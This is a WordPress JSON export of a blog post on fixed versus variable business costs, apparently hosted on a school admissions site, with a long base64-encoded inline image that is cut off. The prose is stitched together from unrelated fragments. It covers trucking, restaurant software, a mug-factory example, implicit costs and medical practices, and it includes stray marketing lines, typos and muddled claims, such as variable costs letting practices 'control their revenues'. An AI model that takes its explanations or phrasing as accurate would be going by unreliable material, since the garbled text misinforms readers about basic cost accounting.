﻿{"id":1582,"date":"2023-06-05T08:12:23","date_gmt":"2023-06-05T08:12:23","guid":{"rendered":"https:\/\/icanschool.edu.in\/admission-enquiries\/?p=1582"},"modified":"2025-09-05T15:40:26","modified_gmt":"2025-09-05T15:40:26","slug":"fixed-vs-variable-costs-with-industry-examples-4","status":"publish","type":"post","link":"https:\/\/icanschool.edu.in\/admission-enquiries\/fixed-vs-variable-costs-with-industry-examples-4\/","title":{"rendered":"Fixed Vs Variable Costs With Industry Examples 4"},"content":{"rendered":"<p>What Are Fixed Costs &#038; Variable Costs in Trucking?<\/p>\n<p>Fixed costs are like the rent you pay whether you\u2019re home all month or away on vacation\u2014they don\u2019t care about your activity level. These expenses remain constant regardless of how many products you make or services you provide. With Nory, for example, you can keep a close eye on your fixed costs and compare them with your restaurant\u2019s performance. If they\u2019re making a big dent in your profits, you can easily see it in the system. This means that you can start thinking about other ways to increase profits, like changing suppliers at the end of your contract or reducing your variable costs.<\/p>\n<p>For example, ABC has a lease of $10,000 a month on its production facility and it produces 1,000 mugs per month. If it produces 10,000 mugs a month, the fixed cost of the lease goes down, to the tune of $1 per mug. While some expenses clearly fall into fixed or variable categories, many businesses have \u201cmixed\u201d or \u201csemi-variable\u201d costs.<\/p>\n<h2>The value of leveraging technology for cost management<\/h2>\n<p>The relationships between marginal, average, and total costs are central to microeconomic analysis. While essential for financial reporting and compliance, accounting costs provide an incomplete picture for economic decision-making because they omit implicit costs. Implicit costs are critical to economic analysis because they represent real economic sacrifices, even if they don\u2019t appear in accounting records. The concept of implicit costs highlights the distinction between accounting profit (revenues minus explicit costs) and economic profit (revenues minus both explicit and implicit costs). We\u2019ve created a pretty solid template that is MUCH more than expense tracking.<\/p>\n<h2>How to protect your profits by understanding your fixed and variable costs<\/h2>\n<p>These costs are generally reduced by cutting overtime or the number of employees, which is not always the best practice for long term growth. Many economists would argue that staffing is a variable cost, but if you have ever run a business you know that this is not the case. Changing staffing costs (in particular permeant full time staff costs) is very difficult and takes so long that it for all particle purposes it is a fixed cost.<\/p>\n<h2>Reading: Fixed and Variable Costs<\/h2>\n<p>For instance, if a small practice has a large percentage of fixed costs, even a minor change in the market can force doctors to close their doors permanently. Secondly, for small practices, a variable cost structure provides cost advantages relative to a larger competitor. Many small businesses are unable to compete with large practices, which requires greater attention to efficiency and throughput. However, when the majority of costs are variable, small practices are better able to control their revenues as the market fluctuates. Unlike the variable cost, a company&#8217;s fixed cost does not vary with the volume of production.<\/p>\n<p><img decoding=\"async\" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width=\"603px\" alt=\"Fixed Vs Variable Costs With Industry Examples\" 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Qg\/v8AFW6qMajrWErhxLj9LY4FqBj4UImnGjfHxLtmrhx5SU7dDbAtTdvjKoc55NpVMQwBOTdudkt7lGi2NymUw5oMrJb3KcIcR687pu3POx+lS6BhU6zz5UqVKlShyjvz8odyjSEblMpgtBkrKHcpwhxHpRyG03OWT\/JGk5up9Adj9Kl0DCp1nE1GrNCD2n35gU4XDur2rNHZNfcdvDTbccHvIe0DB7bXc4kwdVnPWa9McSJwcYErzOKFJZQ7o0yE15Bjluu9lr3Wi0X9KNY\/KAA8NHY\/acx8khyl987kJtQkxaq\/6ec7pP1jT6cQI0ATWBohVL2PIlGuGtJcqANt7up2vKjB4QhThMFBwPv4aToMd8KbSC4nCo653Od0n6xpdONJkCcKw8t3ZPdnVwG9MwgI5ZICc6StF\/Sg\/tVj0KZ7+JtUj8rOHYqtxLWjzODQqdenUm07IAnYc13SfrGn04DUhOcGjVAyJXGUqtWlaxwHf8qk\/JqyWzGipvFRocJ5ZEiFY3srR25nFNZYC8nQ+yZXoUm+RhJPdcLxTXB0N+0990acxzCTKyisorLOIte1AACAuJqilSefeFw\/DF5vft\/31TmtcIcJCbw9FswzdNYxnS0D0YJGxWa\/uqjMyLtpn7\/2H\/\/EAD8QAAEDAQMICAQFAwMFAAAAAAEAAhEDEiExECAyM0FRYYEEEyJAcZGhsTBCUHIjUmBiwRTR4VNz8ICCoLCy\/9oACAEBAAY\/Av8AxyNY3z\/URsYo2wSUOKuKvNocVGieP6hILVLTccQpIOMFEblBvarTTd+oYIkJrm4RBHoh4keSkcwg5v6iE\/8AJQnj6L9px\/UYjEFOG4o0zswy6YW1aLlg5aSuM\/pPGfBdloC01rHea1jvNawrEFdpvkgWGZcSmuUUxzXadKuVxv3K7EYt2oH5T8wU4t3hAzccHKy8SpH6CuKn4nHcu0eWSSLl2TKloj4G0IQ\/tcLlJaCVMLBXBG7FWdmzgpm\/bx7zcfqO8q6ArLspMYrtXKzat+2S8QrXy\/mF6HZJB2tUtPncr+y7zCvdB4JomTlHETkxtDiowduPfTTonxd\/ZSMNoVph+jmMVhkxXaCuOS9bhkgLjlkqy25vurlYLHByNp8t\/Kuy2M155ZQJhzP5VqJYTfzTqe2\/0yWal437VLTI7zJRp09Dad+W0w\/5Utx2j6RBXDMk5IC45gp7NqtMhymo2yeBUZzncMlR4bImCPBXKPzXZA4i8bV0i664tUFXYbQrTe7lzjACstup++STczeppCCNm\/IHMMFbn7R9JuPLN45t6gD4DGc8jQMS2fNHs2XbQgUDvyQVRcG3C4+Cczcv2nFSO6lzzAW5uwZA99zPdAAXZLQuf7otcIIQc0wQrD7n+\/0bitwzrJ+M88kBvMIBO2PHqMjPLMpv3Y8Qnj8pRYfl7padyG9WnchuyB9UXbG5u52wotcL8gp1T2th3\/Q5V1wyXNV5WEqIXZV4yCcfiPdwyU+F+QSI3O\/jI4cc18DtEYp1ofL\/AD3O+92wIueb8gfVF+wZ8O5HcrLuRyCnWPg7+\/0PRVwGfgPitZvvyVHcsgIgj5mq7BVOXeIF7925FzjJKgC9Wn3v9vg2XBX4bDkDKl7N+5SMPoMOqCVrQtaFrQtaFrQtaFrQtaFrQtaFrQtaFrQtaFrQtaFrQtaFrQtaE4g3YDJBeA4mcjXtOipAhVOXdyyne\/2Uk3oNaJKnF+\/JisViscmKxWKuRa4SFIvZvyWTezduQc0yD3+G4u7z1RwOCD2m9ovHBXKpy7sadE+Lv7ZLLQrsdpzghmOyQQrbND2yXXt2hWmG7v1Lmmc+70uap8\/ZEtPaaL\/DI47z3U06R7O078kN5lWWjPCGY7ML6Qu2jJabzG9Wm8xu7v8AN5L5vJfN5L5vJfN5L5vJMsTdKa90wvm8l83kvm8l83kg0WrzGHcqXNU+fsnObiMcjBwnulhlJ4Z7rUuXbaWjig1ou+AEMx2aX0hftC1LkHMpuBUuYWnaD3U\/FpfeO5Uuap8\/ZOO0OIKa3u4+Ffl2K7vpzpi7PpfeO5UuaZz9la27VadpH6AEMx3fTnVwRd2Vao3H8uxWXtg5tL7x3DisctqyPoIQzHd9OdX\/AO3J+PFnij1c2dk5lL7xmXvA5qQbvhcfowQzHZvacuwzzWkByWsK0\/Rdtg5K50Hcfg2qjoCD2GWnbktVHQFbYZbvUPqid2K1w5yFIMjIVaUuKxkZa5P7VZo9o79itPdJyYZWu3GV8o5IjrTgT5K9xORnP4ROUI5fHvmCLnYBf4X+FifJf4VluPgsMySYCincN+3LcwrVq+m7LGk3cpac+ozbF3iFUpH5TI55KVBvj54KyzEANlCtW7VrAK5pb4H+6ZTGzIVCCduQ8MkSYyYZLmkq9seNyvqMHOfZa08moXPPOEWDG1GS1VEncoAj4LshkZJlCArx3+py980\/bm36GzJL+yPVdloRGWHNBU0jyKsReh1OPwP2uPo7I6r8rTa8sE+nt2I0K9MwDzC\/DqA8NuU5NHKFjkYQxskmZVxjwACveTzy6Dl2hHNWvB38rhJOdjBGCIqDtD1R7EDK7LipKgrHv9Tl75p+3NLXC5TidmSApCiR5LtNB9Ff2TxyGMYiVAx2n4DKoF4Mea6z5nCzz2ov\/wBQ+2SKjA7xXW0HYbP7KTi10HLi9YvWk\/zWL1i\/0WL0yJMzijwf7j\/Cc42+zE7MU1wHZsFxHgmBzGjZcN66OBoTjvO1RacTtlTvAPoqR3sHpcmbiB6jPcNgRsNmBcExvSHE1Krrmj5RljKETlHfanL3zT9ue1rbgcXZQWibkJGQyezs+E9m8JnRv3n1TGjAABNe4Egui5D8SJ3hPpUu0510oWhDnGc05jOaqDgD5FOB+Zvqm3aJPqg5tOHTOMp3EzzUOOSl4uCHAQg2p5oAPvOe57A0VbMBxTOiiajtKod05LQym7M499qcvfMkoj9nwpV4kJpaYG0KB8PrRTFuZnJZe0EcUPwvUq02kJ345xzGc1G9jv7rwXZB8lf6mFfUZ7+y1h5BaLzzhWWsgTKaNoJyMO4j4U7dgRddCvGW4Lj36py98yCET+3OjN8O9AWJUvQI2K4x4CF2ifNXBXU3eS0PNXuaFfV9FfaK1YVzGjl8GSpKbAPggd6p2LplMDnSL\/Zdqo0K5XAI\/icoXaptPhdkuPeanL3zT9v0VlmLpxTbRBlNY7BaJPNXUmq4fHJci6LvbJbdh75KXPLTMbFeiWVfNMtNunEHJd3mpy980\/bmnJJzAFGS\/vFLnk0itIrSK0itIrSK0itIrSK0itIrSK0itIrSK0itIq8lYritIrSKvKY14uvXZptCgZRkw7xT8Tn0\/uGdEZk7snDu1QjGyVrStaULbpjvNppgrWlSXSmukXiV\/KxJ7m4By0lpLSWktJaSFq9YLBYLBYLBAgLSWktJaSvzY2lcO8S15HBa30Wt9FrfRa30Wt9FrfRa30Wt9FrfRa30Wt9FrfRa30Wt9FrfRa30Wt9FrfRa30Wt9FrfRa30Wt9FrfRa30Wt9FrfRa30UueTw7sXWlpFaRWkVpFaRWkVpFaRWkVpFaRWkVpFaRWkVpFaRWkVpFaSxCvKuXD\/AKGHv\/K0nyQc3oVQjeE6s+g9sGLKa6IkTm1KgElqp1Di5soucYAX4HRX1G78E63RdTI35he90NCBGB7\/AEQ5tzzE7slSgG6AvdmVYY5th0X5CeCFRwAMnDJXoQIYMczqwC+p+Vqba6C8AnGZzXsa6XNx7\/X\/ANt3sqbHvhwnYd6dXoO23XcVSr04MAF43hUW9GvqVcOAVLo9KHVnDE4DimPrPbUpkwboIVOjRANV\/oFU61zKjDjF0Kh9gXRejz2XOlyAAgBOqOwaF1rXsptOi2JVSnVbZq08U6pSqMY2YDYnzUlzbMC2OPBW6z2lgpyABeuuZVptBwZHfn729ock2ufySeSq1hHW1STejVNVjovLbK\/qKdxhp802qbLaMYbTxXSLfy1ICLhWpjc2E55EOEgqxRLWNBMuN9\/Bf03SYtRLXDaul\/aP4VRnR3BjGGC8iZPBHo3SILolrhtT3\/laT5I1ze+o4ycn9N0aLQEucdiYa7m1KTjEgQQqNGjAdU+Y7FUD6zHdnsmIvXSrFRgfItGFT6NSLWuLZLindc9rtxAjvtf\/AG3eyo3Db7qp4j3THu\/IIG+5U31mgNrDH8qpmo9zGPZAcDC7VesRxcqD36BZZBVQE3uwVD7AqHSWierdf4IOpuBVYMvIgnkqRacGgHhC6VWboRZn\/ngn9J6NVNM4wNErrCLyGz5qmZEWAj0jo1Utv0NhTHxEtB77Cq9AGka4A8CvwtkNHBOq1KjnvLbnF20oeA\/+lQ\/22+y6e+JsvcfJf1HSarnTO2A2F0iPzn2Vie0CblRDL+rabRXS\/tH8KvSqVajKgfgHRKbU6yo54wtGU5u8QndFrdl7XXTtV5C6S193WXtKbSF73uEBU6dTSa24jFVOiuqdY0NkHaF04eCFow9uBGIVfo9R9vq8Hd9LTgRBQYwQ0IsqCWlU7TJsaN6sVGyEKb2S0b0HBhuwvKs1GyE6KeIi8prGi4YZJ6uPAoim2JxU9XHgYVhjYbuU9Xykwiwt7MRCeGt0xBv2Ker5E3d\/6+x+JvRY8S0o\/hzdtK6iz+HulBowAgJ9hsWjJVrq+U3J4Y2A43prer0cL1FNkJ9UN7bsSpqMv34Iuptv3zk\/EpgoODLxxUVGSrTGdreb0DUbeNso9WyJxVt7O0rT2m1vlWabY\/8ATpf\/xAAuEAEAAgAEBAUEAwEAAwAAAAABABEhMUFhEFFx8CBAgZGhscHR8TBQ4WCAoLD\/2gAIAQEAAT8h\/wDXHQLWifpEAWI\/9CxUGuF5RQzJzPSpgKrMn4idoPMwntIflKBOz+X\/AEIAscVMGyWsOQn1JXWr8Rms+KS\/lanSBrC\/6FOZNGH9EErFGBG7RGhn3IhGD8f9FtpfwqJIq0esXp2H3ggEbH\/okpcC+mTN1U9pZDHH0cFDFmYehj9IDK\/Q\/M7ghyD0JyL1GEWY2b\/5JQLWYMJ9s4v5TGcmdAiv5E\/cIffLf1mddYfiNwp3Vy9iKuZdS9nC6ejHx9Q\/EdtOqWdLrTWZPrWvSIHH6U3OcFVveK6wIZZvkXnTIMoc+++nOWPs+n\/BCrCiDWhzgBYifx4oxWUJaHJlwvRV9SBmnXL4YopNuf1lnXwW8+CGsWl28ws9pc7x1X0m7CGYai+dQK6GOe8scIca0hSBrMae0uQ+p0QVtPpvXzNug41hzP6m5ywKmeEUxzcXxYHewRmT5IODPJOCArkRDUq3o2l9g33f0hyLelDo\/iWYXEy60oFhewOvKWE5WS5VDdhb7xcptNkrgHNGHqSk7tt1WHAXE2wHrMpQDsfylIHsMPO+wI\/T8pmlebk\/7B1w1NR5P9P02wjujdmPMtGZJh5OMRhRuQqweFofpLYOhwNBayxOLzeKJKAxY02\/LCtG3lePpAfNYL9xiQDYWPvB0K2fhx8wGnpEUjwuOYlmPNCgnKumRwhZMtDd\/LhWWe2fmGyJknmUCABasuSmTU\/zxJdYaDeXCodU\/qHQWTEDHn4CVjTBIQXRi5beBoLWcxPN8FEWZlzjTBNax9xh3Yud1gAMj18XPMwddODDDXOoMzfGYmat5XWwHu04YknsGc5sithfszaEPvjLRifqQOlj8eXIGLFYwsBy13PDHQDjzbENVl0\/6iKRKTMlLVlZyD\/U\/qM5h3vXk8FlA1nMSzfCgoCStAOR\/BSXVt6cEtpgd8UBDiNq+ZGIzGz0gj5AT14IgsSkmPMgcqDG2G5BDi4B+8AEsSx8rRlPnYmJMF\/1d+FSXQNf8wwwCgNIkAaR102MRgjEYjBFiQEo+Hp\/psIW+QmA3sHAahiXDHgyl6P83LwaeksxzIesAjIKJgo1J83Xh0Nfs8AGpboQ0T0++UfMCw6PlLk9DNSxOB0Bw6lCa7u0DikxjgfpdpQ2EFERpIOEMn3W\/wDRkyyCYJ95wz4+kXlnTGc1N5pCuURiq2ZnAcGs5P5OeJg66cK5pZ+mXAa8q2L5uF3JX9zw1GAj0Yly2g1df08nfMR6vXaX5V7ByJnC3J5PXeBfhSVOxOpFNfoJw0CZJpt+X9FnNnMlXQ8YbZd0\/lpHqt6cLeTA+uLwQGMbNTn6THY+rSLL3z8xhbcw0bmJnzSw0pWAEqCNDl\/qB40jG8fI8yUjE\/V4XjdDV\/mAkFFif0NOHkznYM7BnYM7BnYM7BnYM7BnYM7BnYM7BnYM7BnYM7BnYM7BnYM7BliQewTeh980OG0ESxwgMXlsMwdekzAGZpe0+H93l7hGo6f7iJCm1YmBNJflIY8mxK1fAkhmozR8CRtrXUAGmYzHUjhybPAta7j9QgdxYJ584lNV8jXzIrFkuxJ9cujXpzjSRRy5QZ+2fltQmQabflwA2nXkdZUsT9WBMj08HySZOPOmT0RI4AiUjrLkV1Gv+OF8xPq9N4eur3Nnz2Tv0nwvo8v8\/wC2dzuiFAApz7Z8Ke4nlFAVaCPgLJ9ltwpdgdAgPqnVgcMj08HySZOPOmT0cUnWoHTpwuThqZCXpxMzNeWWjxszMzB72srOpg0A5HM8LMzYggB1eS+f9s7ndHamwD6Z9OFvZvyY+UVehOPXP1sDmo37JRGEDjkeng+STJx50yejwJPzUvTefrYCWbZ7MIaPj6eV+B\/L3nn5L5\/2zud0oVW8QZMTRVx6eXzwFeHdPabp7TdPaFxSXA1G6e03T2jz\/ZLDD6eGsTzHwPFiLKZvXx955+SC0Gv2TDb3tMfZ\/c84yBs8jy+nw5Hp4PkkycedMno8Jn5j4HiFwrEOJrLtN5m6couQWj4e88\/IYPnyTlbY4gxcQ\/DPl5fT4cj08HySZOPOmT0eEz8x8DgNyJmxhxy9mvDEfdPTeb793wd55+D5qgQ0JWSfxYIZuIWhzhK2IcEQjjDv118tp8OR6eD5JMnHnTJ6PDl8PLNmh67+xMu6Afe5+qJzx1EDmt1Uqz0A\/hCBdq3nCY5QcK3L6th23ZDaMDRoxexH6Adn1CFDpkjZw+BAKpVmBvIltUhynLgxgBiX1l0G5ydOcVK3uA+qbUOYTFy0vZMq9D8pVC0mGS9J89yvDomnz\/Lp8zlW9hxqzTB5bT4thCK5mE32d1lbODfZ5OV40m39oBkBxTmDWXH1o\/EVW1x4aX+dYTce5PpSL+kRGk4UCdxp0Z62xqdfHSZit7glwsfQs3DGGc5vgg+tENzmy9ixxEMGsalWf5t+UVOw587x4fAmMGZMzZhmSmD0TMOUVBcKrFKU0ahyoDo4fHcLPzmfXKHfHqlWadmqTBH0D7GF1MPvUpuoPsPpJVEOQV\/C6Tbgog41E6J0gviYQUs5zMA4DTfltPj7jZ4fnfqeHCe1y9d+FGuxq\/EyVPNxYCulT7OAnqmZ\/etGGKMvVOkNRZs9K32hdY8LPBZzno956Mpzhuy0D4TSDSpW5jFrTK3PqQjEPR7GMGIzNI7simLiitUUGkW8Y7UG4LvAKF5V+ZRk94wnzlJ4AuURA9qVdS5UX2JeHV94IuJiR\/bxVtNVreDT6VQ7ahrfEX0uBkFJzJ1hAItSkmQhlAAMuBl5XT4+42eH536nhvAKI242bQ\/M1lS3HV5RE6CVM3EggbrQisMRkc2zFlTqW4NszCeoYMXiRneUdHtr0iheRXVhBdMbPTBwqFjKkRODGrTdSxtsbnhd8HHn8RTj7x+IGw94\/Etvm8n4gfvJ+JzPW\/xDIe4P2hxZcphXKo4LlSWXEUWWyYZwr10hdVcANK9AqXTDo9XD2TIhlF+7MS\/34mM\/aj9keV157s\/G6LwMeRFCuJiVb1mK8gd3fbggiRmWnGp7TcR47cMfLafH3Gzw\/O\/U8dRqF\/YIBOfpHHrAgXBZijJKmeMremLfbaZ3njwDgBUrHvWfYTv5mlwl9cNmsJn1yt6HxUyc0ehCpg5xYt\/EZNZgkShxClAesxMjY5hVBDTvSNGhCP5mkc5RhP8AIfnfSY+5A+81tgOhKmBbVack0sXEoC8KvaFQJWDrIakxwS7qgx9Iq5q6TGnL6F+8xnyHQlK1DI5+sTDUoKfCEImczzEJdQxWKla2rg3K2oZ8aoWGsPBnebPy2nx9xs8AFHHlOtT6niUC2Mr5TDnU2JTDSNUCc+kJZ1\/TBKLkB0gAGkvcg8Lqa+0+ycvT68HfxAwVmZm5w09Js58XNCKyoPvKf\/OxHvxZ8D+ZpHP1jp1h+J8H7JiX9WfhM98Y7ac8THOAdD6pQy3r+SOaT1cutSj6kfYw6QtRXlEV9Q2a4bor2fEAiRRd1jEjUZwRqHst2itIeDDHHHy7T4+42eCrsVlES5\/qeLR+vD0+Z8cMTcLdMc0JTMd4DElPAEplYVLRIEplcalPBJWEpjM4RLzwjBLKoDI6TpHrxzlGT0X0TPH6pZiJbMzXqnIfUH3jPuDNdekZ46j+Jk\/rW\/WfGQDxoJjEj2MHOKseDWQyGUEJgLpIoZq1RLGg0zTC3OV2+xNGWNToMLliYhRoqHQ9ZL7xeYkykfJafH3Gzw\/O\/U8K0LFtXwiuAC2r5hF5xaDvFOW0swEOWeBM+6hfafXQX9YNQHT+disCX+U9hwug4cjtlw+d9svMeGMK036YReaoZxtWjXyRcFN0DljHMCTAarw8lp8fcbPD8z9SX4PicOZ\/KVVZPHFziENw3BRsZsbn5jJ36QUbGp+8n7yfvJ+8n7yfvJ+8n7yfvJ+8n7yfvJ+8n7yfvJ+8n7yOLcKjmAGUKI\/eT95HPD1l3RYsayLmZ5zq33YdpVQ6tsjpVgmLqTMgbYB6eS0\/yw7tz8CWJzjhEzglifQ45xkLYtq84qtgAKPKp7QY61xmcbOle\/mSCAyeEg2bjKlFWTnjFgN3WTBYJt2T\/nk0IAV9Irm53Kncqdyp3KncqNAysvH\/AP8A9eRGydyp3Kncqdyoyx4uvgRAFsMOsj42AAo8tnFYF5Lm\/wC\/Wb\/v1m\/79Zv+\/Wb\/AL9Zv+\/Wb\/v1m\/79Zv8Av1m\/79Zv+\/Wb\/v1m\/wC\/Wb\/v1m\/79Zv+\/Wb\/AL9Zv+\/Wb\/v1m\/79Zv8Av1m\/79Zv+\/Wb\/v1m\/wC\/Wb\/v1m\/79Zv+\/WCwJyVAAo8q9EX5QiIiIiIiIiIiIgBn9o6EF\/DAsEcW5MOsCv8AwXBgvAedLiYvliD8Rtpjmbv0hjqnRzL5+EewLByzgGABBvA\/itWDGudN6ZwS7IVrvl4BpZxY5VgI7Pn2iufflwd3mWYXy8Dw9UDhtUn2jNQFZMOCwIqam6\/PgGL+lb6yiFopgXzw8I9aNTS\/6CBP+IF2adCBRHAJ6DgzKgF8wtTlKDcZb1lmJoJwgM0QkLVMd1KmSvW8uZDRIhRbHg7k7\/ymI46oCHWBQGhNS2MzN1TEN2NiIomScyE9bVY1zTLTUhnf4R1Z2lYC4WaDdYoaxc4ZY+dweftnxE7y9bm+ZdQA6cMr9YAX0sVs5zNCAvGrAkstGDbfdCxDdUVhBGfGm4+rFGgHMrCE6QzsrGhHhN5FBwscSSSHIEZhlfqm5MDvsK4OeoXOhrhTzXHDL6wFw+kRZt5IjKh5K31pFGMssD0mF+br9j0gBx0xhvfnoEMs7d8IAK\/CmKfh8w5JUZDurdTSbAImlyosEyU+SJtVs5DiQwtIHVxnf+U0x67oPUTLU6kvsUQN5rhxKEcwpuIb3XyFwgzoLpHDKU9iWmMc6VUppaLa7msIr1jBysvzoIixKYsjsO9JoYlnJlcuypQxyKOPxDBWAnOizMpRMKW0rymD7JWItnVTrEtxYNM8OFi\/RaK57yh8WmSSuW8NPJ16lQdw1pAeUoKVtFudzEbAVrsReRK88NY6eAsUKwsim7O7GD7xgNKoNo1YFa6D8TAZo5vR86WtqDZmJ\/FFrm3rMMqLLTLHScojRVFbaxsC8ayxOkFoYASpW+cSSVdsJJQ\/ndOkPFlyUWnlylQI6GeB1iCIlkV4p5we0ppqZluusZPEzED6ErNqybwDGVdxAbL2FRFdU6m+SBbmmxD7PPqFHqvKssoZklIzAWIjEaHOo3j1rRvPOFrQg2J18pW16wPe3ifCWtSTbisb9QIhWC3nEpr5ua9VlKIaucfSDip0NviKRGUpLXrwLLkyck9SKBUst4MGirk5J6k9ZVKOlxriVAQ16QI5wzX1Z1oiKX1qF8KVRGEbDLnqvVf\/AI6X\/9oADAMBAAIAAwAAABDzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzyj3\/zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzwx+73zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzxmTzfz7zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzDzzzzzKnxe46NeWcfzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzh\/jyBKhXAo19Wn\/vXzzzzzzzzzzyBjTzzzzzzzzzzzzzzzzzzzxi\/tLzwD\/zy2P3Qd7zzzzzzzzzyxiQQjjzzzzzzzzzzzzzzzzzjJJwPTzzzzyzdb3ztbzzzzzzzySxAAATAjzzzzzzzzzzzzzzzxxDDBDDDDDDDFYT7zzzzzzzzzzDCcAKNDXBjzzzzzzzzzzzzzzwjzzzzzzzzzzzSbbzzzzzzzziyxBcAEkIGTzjTzzzzzzzzyywwxwwxTzzzzzzzzxHbzzzzzzzzzwABfPFCKAATzzzzzzzzzzzzzz\/AP8APF\/PPPPPPOX8fPPPPPPPPPPAAFwAQQgQF\/8APnzzzzTzTzyRSvhjZ\/RXzzzzOBhJ3zzzzzzzzzwAAAYMLGBFB3+N3zTxjDAjzlCuCsclHzyzTys9cyfzzzzzzzzzwAABcMMABHemKiYjTjwiSSQusMQruHPDzwABUSNTXzzzzzzzzzwAABcMGgAAr+eL7xSwiwgxSSQ0OgjocLzywzBQ0HvX\/wA8888888AAAbDDEABFJSs\/8888888888sNe88888884I87rn\/X88888884AAAgBBWABxiZme888888888oE8888888888s8sPn+888888888MMMMMMMMMN8Z8888888888888888888888888888888888888884w0884484088888888888888448848080888888888888888888U4AQ8cIoAU88888888888884QkwsI80wgYEU8888888888888scccM88Mc8c88888888888888McccMccs8Mcc888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888\/8QALBEBAAIBAgQFAwUBAQAAAAAAAQARITFBUWFxsRAwgZGhUMHRIEDh8PGAkP\/aAAgBAwEBPxD\/AKFobV4aHrAnY5MrzJwfqOgN8TEfJWWdYAvcOpAAjY6P1E1LDPXT8RVfF+h4eGBD6nhHxUI\/SVsOSbdZdVRyfeLuJ5vaA7XRZU0n3d4sQBYcaYlWE6qIIDnJu\/beY+PjUrqVez+JnA+Op9IPulWjFwQUBpq9rzCL9J1PbWB3avDlAePFQygcC3elvKDJXGwurr+I5qjUmL4dbgoIHh09SCII2Oj9Jtmp0rCQnDO7u+PCK89CZvLo5SiHc4RCWCYcyh2aK11S95mRoN7vxBv6IEhU7OswgDYNf15G6Es4A7zaWXbHvLDyfGPB0VXVza\/iOiEFmeA4+mPMqrcm84NXiOwbxVX9p3nfzXAvKf02EGunGKkBWvMin88ZcBb06\/v1f9XCGh5L7vm\/A8Pgp8A7TVO+7+fSUlJSUlIArygkycFc4RmgB7eatC8p\/gMcWqmzCy4VlOUU\/ZY6YF3g6\/sVogj47fITfQE9r+uEYndh9\/O+B4fBT4B2mqd938Ci02C2FC\/0m1xowvq\/iGqyN8Hx5mhgpg+iFzS\/XK7wr31g+1xqFQFo6vaEhtKxRkf0uQqwDwPC1XF1TwIKIjmVK6MPnJBGWcl+ItlH4lDYVADSEyDVvFrY5ygfcJ3YJBFtC9fQlrJPU+8fFNu590K0LNw5138umO1KLKNo6\/looG15fSXp90vxRLNGuh3WXYtWgAeyJlAe6GkdqbcGx0P025f5QNkrehjQGz7a53laIupfp\/l53w3j2zwRCIjYm0IFiylAHD8RGLA9lTIrKphE10mN4sHmcGBTKJjinHybeMt4y3jECLgrwVRopqwtx\/pFy6rJi2xSr4wa0tCm7sPA4TOHMX3ofSCQDYsTj+lwC3Zy8LHgH8eCY24+d8N49s8cicTr\/Es5RBlbypxI+wWK45b8s9aNrDTrFnTnXYQwejMnFzHD0oisrNsHcspNLyBAxlllC56wxJiVlDX3\/UxZfkYmXa9YKEEt6oJW0q+cRBF6XALQnLzPhpUqds8EG2TN+mqsMrJAu3EbLvKwoGnrHZJZw8uhLJV5MlThfoBNfHK1S1yt+Ugcy3CWm8wTBpREVpijEU3tY+PMQkRyBWW92f45+Z\/jn5givUaG\/r4IIjvGlNcHiRElrqzE2CK\/MA7\/AB4fukLVMpreJqg9f2dESQNu3S2MNEMUVt\/6H\/\/EACwRAQACAQIGAQMEAgMAAAAAAAEAESExQRAwUWFxsaEgQFCBkcHRgJDh8PH\/2gAIAQIBAT8Q\/wAhU2XO+FfkUOpOjFwdPyVxe8obcKNyd4gjon4kfKKb1LerLdYBvLzcU6sLbkpPOAGnJ+IchKzLUFvjgdiORux+kLKNYj761Nj934ptZYA049Qqx5ZauntBoZhmPEdU6fhUCWWS1Et3X68BeWV9Q+oKUdjxwuyay1b\/ABgWoujDoR3jNZ\/Wapo80ynnhAE6BcWCtvTzEIGRt9\/rTR5pqeeHzk9v3Gej659paWlpaWivlZYbsCgOaZTzP\/fIFOmPSIgLvTzH\/nyEQrXX7ELYicdLyDL0OrP+1RXAnU5xqeeHzk9v3Gej64KBa1AbrOyzQMu\/M1ERFDVqI7IEar+kaMOMhhi\/pO10OFEWdcdWJeGXgaOTnGQWBdZ3CVdJbzm9uFtS55X8R0VdNandTPDcvO3tucthMqraWrtTyWX0fMzrWplR2Q2g+msyKte11DQNxvp4lz0ZT5c75Lj73g5h01TgJuFeveCxKvD2YSF0Yrd6R2uS3Y2Dk0dJTpKOkMbNx+IqF1p\/MqVbbd2RTIbozUb4YMUPD9JunHtwKGl4Hg0MHO+S4Nz2vHIdXTxKYYFQal6Sm1Kg7bsAAFAUcsC1xBJ2IPUzC4T8y\/T4f3LtQMVLY0+oukp8zHLIIaG7MgndioWqNaxEaRHvzPkuPveAoO6EsWjQqEQ0Yj34G8DazSWVpZA6PUgkAepXLJlpA\/7QHQfty0uPODBQts0zE11F2po75gsgiUXr0YTpSuY7CTuk7pA0bNeA02RCss3OjAAUEvLqUecQkbnYO7+oAABR9yjImozADY3n3DEAdaPs1bQY01T9oFSUWHUaX2gVg\/2Hf\/\/EAC4QAQABAwIDCQEAAwEAAwAAAAERACExQVFhcYEQIECRobHR8PHBMFDhYHCgsP\/aAAgBAQABPxD\/AOuO0EGVYKuxd2\/7VEGbjJ\/6FDw1cS3aE\/BGsF0UgdimHyCIvczzcKjG2orzKbAQ0L+S\/nTiSWmsvDD